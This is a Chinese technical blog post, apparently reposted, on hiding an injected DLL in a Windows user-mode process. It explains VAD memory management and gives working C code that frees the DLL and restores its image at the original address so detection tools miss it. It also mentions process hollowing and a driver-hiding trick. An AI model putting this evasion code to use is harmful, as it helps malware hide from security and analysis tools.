(xxxx)七:3環下dll注入模塊的隱藏(二)


     3環下要想隱藏dll,僅僅靠斷鏈和抹去PE頭信息是不夠的;這樣做能騙過同樣在3環運行的調試器,但是騙不過在0環通過驅動做檢測的PChunter、Process Hacker等工具;要想徹底隱藏,需要更進一步搞定驅動層的各種檢測,下面會詳細介紹隱藏的細節原理和操作方法!

    1、VAD 虛擬內存管理

     內存分兩種:物理內存和虛擬內存;操作系統和進程共享物理內存,進程獨享虛擬內存;物理內存可以通過CR3在進程之間互相隔離,確保進程之間互不侵犯;那么進程內部的虛擬地址該怎么管理了? 32位下,每個進程獨享4GB內存,怎么知道哪些內存已經使用過,哪些沒用過? 已經使用的內存,是可讀可寫可執行的么? 還是只讀的了? 該怎么記錄這些關鍵信息了?windwos采用一種叫做virtual address descripot的自平衡二叉樹來管理虛擬內存,低端的內存地址放在根節點左子樹,高端內存地址放根節點右子樹,大致的結構如下:每當進程調用virtualAlloc分配虛擬內存時,操作系統會先遍歷這個樹,看看還有哪些地方的虛擬內存還未使用,然后返回給開發人員:

          

   windbg能查到每個進程VAD的root節點:

    

    VAD里面也記錄了該進程dll的使用情況。

    

     當內存使用完畢,建議立即調用VirtualFree,將這段虛擬內存從VAD從抹去,后續再次遍歷時才能繼續使用!正常情況下,如果要卸載dll,可以調用windwos提供的freeLibrary接口,里面有關鍵的函數:ZwUnmapViewOfSection,可以直接把dll對應的內存從VAD中刪除(這里多說兩句:ZwUnmapViewOfSection 功能很強大,可以替換進程的代碼,讓其稱為傀儡執行惡意的代碼)。

    2、之前分享過一個驅動隱藏的思路(https://www.cnblogs.com/theseventhson/p/13170445.html):  讓driver entry返回false,操作系統會認為驅動加載失敗,不會記錄。但在driverentry里面把自己想要執行的代碼拷貝到堆上,然后將代碼入口點作為imageLoad回調函數的入口點。雖然驅動加載“失敗”,但代碼已經拷貝到堆,並且注冊成為了回調函數,dll隱藏也可以借鑒類似的思路:

  •    先重新申請一個新空間,把需要隱藏的dll拷貝到新空間備份
  •    用freelibrary釋放需要隱藏的dll,VAD中會刪除這個dll的。此時如果eip跳轉到dll執行,肯定報錯
  •    重新用virtualAlloc申請原dll地址,再把第一步備份的原dll代碼拷貝到這次申請的地址(其實就是dll原來加載的地址)
  •    此時如果eip跳轉到這個地址執行代碼是ok的

     這么做的本質是:把dll從vad的記錄中抹去,重新申請內存來存放dll的代碼。雖說在vad還是有內存的使用記錄,但因為並未使用loadlibrary,所以也不會在vad中留下dll的記錄(這是本質是把dll變相當成shellcode在用,至於全局變量、導入函數、重定位這些,由編譯器和操作系統都做好了,不需要開發人員操心;核心代碼如下:

/************************************************************************/
/* 把當前進程的所有DLL(除開需要隱藏的那個)都使用LoadLibrary再次加載一邊,增加引用計數,                */
/* 使得Free時對應的DLL資源不釋放                                            */
/************************************************************************/

void LockAllModules()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());

    if (hSnapshot != INVALID_HANDLE_VALUE)
    {
        MODULEENTRY32 me = { sizeof(me) };

        BOOL fOk = Module32First(hSnapshot, &me);
        for (fOk = Module32Next(hSnapshot, &me); fOk; fOk = Module32Next(hSnapshot, &me))
        {
            //跳過第一個(自身)  
            CString wInfo;
            wInfo.Format(_T("%s"), me.szModule);
            wInfo.MakeLower();
            if (wInfo != _T("dlls.dll"))LoadLibrary(me.szModule);//加載除了dlls.dll以外的所有內存
        }
    }
}

BOOL CopycatAndHide(HMODULE hDll)
{
    // 整體思路:先把DLL加載到當前進程,然后將該加載的DLL再備份到當前進程空間;  
    // 接下來該DLL再Free了,此時進程再訪問該DLL的話會出錯;  
    // Free后,再把預先備份的DLL數據還原,而且還原的數據地址是原先DLL加載的地址  
    // 如此,進程內再調用該DLL的話,由於數據完整,一切OK  

    DWORD g_dwImageSize = 0;
    VOID* g_lpNewImage = NULL;

    IMAGE_DOS_HEADER* pDosHeader;
    IMAGE_NT_HEADERS* pNtHeader;
    IMAGE_OPTIONAL_HEADER* pOptionalHeader;
    LPVOID lpBackMem = 0;
    DWORD dwOldProtect;
    DWORD dwCount = 30;


    pDosHeader = (IMAGE_DOS_HEADER*)hDll;
    pNtHeader = (IMAGE_NT_HEADERS*)(pDosHeader->e_lfanew + (DWORD)hDll);
    pOptionalHeader = (IMAGE_OPTIONAL_HEADER*)&pNtHeader->OptionalHeader;

    LockAllModules();

    // 找一塊內存把需要隱藏而且已經加載到內存的DLL備份  
    // SizeOfImage,4個字節,表示程序調入后占用內存大小(字節),等於所有段的長度之和。  
    lpBackMem = VirtualAlloc(0, pOptionalHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!lpBackMem)
        return FALSE;
    if (!VirtualProtect((LPVOID)hDll, pOptionalHeader->SizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect))
        return FALSE;

    g_dwImageSize = pOptionalHeader->SizeOfImage;
    memcpy(lpBackMem, (LPVOID)hDll, g_dwImageSize);
    // 抹掉PE頭  
    //memset(lpBackMem, 0, 0x200);
    *((PBYTE)hDll + pOptionalHeader->AddressOfEntryPoint) = (BYTE)0xc3;

    //  DWORD dwRet =0;  
    // Free掉DLL  
    do
    {
        dwCount--;
    } while (FreeLibrary(hDll) && dwCount);

    // 把備份的DLL數據還原回來,使得預先引用該DLL的程序能夠繼續正常運行  
    g_lpNewImage = VirtualAlloc((LPVOID)hDll, g_dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (g_lpNewImage != (LPVOID)hDll)
        return FALSE;

    memcpy(g_lpNewImage, lpBackMem, g_dwImageSize);
    VirtualFree(lpBackMem, 0, MEM_RELEASE);

    return TRUE;
}

  

參考:

1、https://wenku.baidu.com/view/439526b369dc5022aaea0077  內存管理

2、https://bbs.pediy.com/thread-257179.htm  VC黑防日記(二):DLL隱藏和逆向

3、https://blog.csdn.net/arbboter/article/details/38260973  DLL隱藏技術

4、https://bbs.pediy.com/thread-153508.htm 進程替換


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM